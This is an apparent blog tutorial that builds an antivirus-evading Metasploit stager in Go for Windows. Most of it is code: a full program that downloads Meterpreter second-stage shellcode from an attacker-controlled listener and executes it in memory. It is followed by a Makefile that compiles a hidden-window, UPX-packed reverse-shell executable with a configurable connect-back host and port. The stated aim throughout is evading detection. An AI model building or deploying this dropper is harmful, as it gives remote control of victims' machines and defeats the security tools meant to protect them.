Offensive Go - stager
In this article, I will show you basic stagers for Metasploit Framework written in Go. We will create Windows binary files that will use staging protocol to connect to the MSF listener. The idea behind creating our dropper is pretty simple - we want to avoid detection. Anti Virus software is instantly detecting and blocking default Metasploit stagers.
Why Go?
Go is a simple and efficient programming language. It has a rich standard library, can be easily cross-compiled for different operating systems and platforms. The main disadvantage is large binaries. We can limit the size of output files by stripping and packing, but executables are still bigger than similar files compiled in C/C++.
Running Meterpreter
To run the Http/Https Meterpreter session, we need to implement the following steps:
- Connect to the listener via HTTP or HTTPS
- Generate correct URI to receive data (shellcode)
- Download Meterpreter 2nd stage
- Execute downloaded shellcode in memory (without touching a disk)
First thing we will need is an ability to download HTTP/HTTPS Meterpreter second stage from listener URL:
if (protocol == "http" || protocol == "https") {
url := protocol + "://" + lhost + ":" + lport + "/" + GenerateURIChecksum(244)
if protocol == "https" {
transport := &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
}
client := &http.Client{Transport: transport}
resp, err = client.Get(url)
} else {
resp, err = http.Get(url)
}
if err != nil {
return
}
defer resp.Body.Close()
}
The above code first checks connection type - HTTP or HTTPS (Make
will pass this parameter during a build). In the next step, code constructs URL with protocol, IP address, and port of the listening service. The last part of the URI is an output of GenerateURIChecksum
function, used to generate the correct URI of the second stage.
When URL is ready, we will connect to the listener via HTTPS or HTTP using the net/http
client.
We must generate the correct URI checksum - when the checksum is not valid - we will get an HTTP 404 response. A reader can find the algorithm responsible for URI generation in the Ruby source code of Metasploit Framework, or we can use Go code from hershell. Here is a little bit modified version of Hershell source code:
func GenerateURIChecksum(length int) string {
var charset string = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-"
for {
var checksum int = 0
var uriString string
uriString = GetRandomString(length, charset)
for _, value := range uriString {
checksum += int(value)
}
if (checksum % 0x100) == 92 {
return uriString
}
}
}
Generating random string:
func GetRandomString(length int, charset string) string {
var seed *rand.Rand = rand.New(rand.NewSource(time.Now().UnixNano()))
buf := make([]byte, length)
for i := range buf {
buf[i] = charset[seed.Intn(len(charset))]
}
return string(buf)
}
To run shellcode from memory, we can use go-shellcode project from Github.
If you don’t want to pull additional dependency, you can define
VirtualProtect
function from kernel32.dll
and execute shellcode as shown
here.
In the article, I will use the second method, the first definition of VirtualProtect
:
var procVirtualProtect = syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualProtect")
func VirtualProtect(lpAddress unsafe.Pointer, dwSize uintptr, flNewProtect uint32, lpflOldProtect unsafe.Pointer) bool {
ret, _, _ := procVirtualProtect.Call(
uintptr(lpAddress),
uintptr(dwSize),
uintptr(flNewProtect),
uintptr(lpflOldProtect))
return ret > 0
}
The RunShellcode
function will use go unsafe
package features to allow us operations on pointers bypassing Go lang type safety.
func RunShellcode(sc []byte) {
f := func() {}
var oldfperms uint32
if !VirtualProtect(unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&f))), unsafe.Sizeof(uintptr(0)), uint32(0x40), unsafe.Pointer(&oldfperms)) {
panic("Call to VirtualProtect failed!")
}
**(**uintptr)(unsafe.Pointer(&f)) = *(*uintptr)(unsafe.Pointer(&sc))
var oldshellcodeperms uint32
if !VirtualProtect(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&sc))), uintptr(len(sc)), uint32(0x40), unsafe.Pointer(&oldshellcodeperms)) {
panic("Call to VirtualProtect failed!")
}
f()
}
As we have every step, lets put it together:
package main
import (
"crypto/tls"
"io/ioutil"
"math/rand"
"net/http"
"time"
"unsafe"
"syscall"
)
var (
lhost string
lport string
protocol string
)
var procVirtualProtect = syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualProtect")
func VirtualProtect(lpAddress unsafe.Pointer, dwSize uintptr, flNewProtect uint32, lpflOldProtect unsafe.Pointer) bool {
ret, _, _ := procVirtualProtect.Call(uintptr(lpAddress), uintptr(dwSize), uintptr(flNewProtect), uintptr(lpflOldProtect))
return ret > 0
}
func RunShellcode(sc []byte) {
f := func() {}
var oldfperms uint32
if !VirtualProtect(unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&f))), unsafe.Sizeof(uintptr(0)), uint32(0x40), unsafe.Pointer(&oldfperms)) {
panic("Call to VirtualProtect failed!")
}
**(**uintptr)(unsafe.Pointer(&f)) = *(*uintptr)(unsafe.Pointer(&sc))
var oldshellcodeperms uint32
if !VirtualProtect(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&sc))), uintptr(len(sc)), uint32(0x40), unsafe.Pointer(&oldshellcodeperms)) {
panic("Call to VirtualProtect failed!")
}
f()
}
func GetRandomString(length int, charset string) string {
var seed *rand.Rand = rand.New(rand.NewSource(time.Now().UnixNano()))
buf := make([]byte, length)
for i := range buf {
buf[i] = charset[seed.Intn(len(charset))]
}
return string(buf)
}
func GenerateURIChecksum(length int) string {
var charset string = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-"
for {
var checksum int = 0
var uriString string
uriString = GetRandomString(length, charset)
for _, value := range uriString {
checksum += int(value)
}
if (checksum % 0x100) == 92 {
return uriString
}
}
}
func main () {
var (
err error
resp *http.Response
)
if (protocol == "http" || protocol == "https") {
url := protocol + "://" + lhost + ":" + lport + "/" + GenerateURIChecksum(244)
if protocol == "https" {
transport := &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
}
client := &http.Client{Transport: transport}
resp, err = client.Get(url)
} else {
resp, err = http.Get(url)
}
if err != nil {
return
}
defer resp.Body.Close()
stage2buf, _ := ioutil.ReadAll(resp.Body)
RunShellcode(stage2buf)
}
}
The last step is a way to build the whole thing for different listeners.
For that purpose, I will use a Makefile
- make
will take all required parameters such as target CPU architecture, IP address, port of the listener, and compile executable without debugging information to shrink a binary.
After building an exe
binary, make is calling UPX to pack it for an even smaller executable.
The final Makefile
code has two build targets: win32
and win64
. By default, it will use the host IP address as a listener, 1337
port, and HTTP protocol.
This behavior can be modified by LHOST
, LPORT
and PROTO
variables passed to make
:
CC=go build
PACKER=upx
ODIR=dist
OS := $(shell uname)
ifeq ($(OS), Linux)
LHOST=$$(hostname -I | cut -f1 -d' ')
else
LHOST=$$(ifconfig | grep "inet " | grep -v 127.0.0.1 | cut -d" " -f2 | head -n1)
endif
LPORT=1337
PROTO=http
LDFLAGS_WIN="-s -w -X main.lhost=$(LHOST) -X main.lport=$(LPORT) -X main.protocol=$(PROTO) -H=windowsgui"
.SILENT: clean win32 win64
.PHONY: clean
win32:
echo "Building Windows i386 reverse shell - connect back to: $(LHOST):$(LPORT)"
GOOS=windows GOARCH=386 $(CC) -ldflags $(LDFLAGS_WIN) -o $(ODIR)/go-rsh-met.bin go-rsh-met.go
$(PACKER) -qqq -9 $(ODIR)/go-rsh-met.bin -o $(ODIR)/go-rsh-met.exe
rm $(ODIR)/*.bin
win64:
echo "Building Windows reverse shell - connect back to: $(LHOST):$(LPORT)"
GOOS=windows GOARCH=amd64 $(CC) -ldflags $(LDFLAGS_WIN) -o $(ODIR)/go-rsh-met64.bin go-rsh-met.go
$(PACKER) -qqq -9 $(ODIR)/go-rsh-met64.bin -o $(ODIR)/go-rsh-met64.exe
rm $(ODIR)/*.bin
clean:
rm -rf $(ODIR)
Sample usage
build windows x86 binary:
make win32 LPORT=8080 LHOST=192.168.1.13 PROTO=http
build windows x64 binary:
make win64 LPORT=8443 LHOST=192.168.1.13 PROTO=https
Make will save binary to the dist
directory.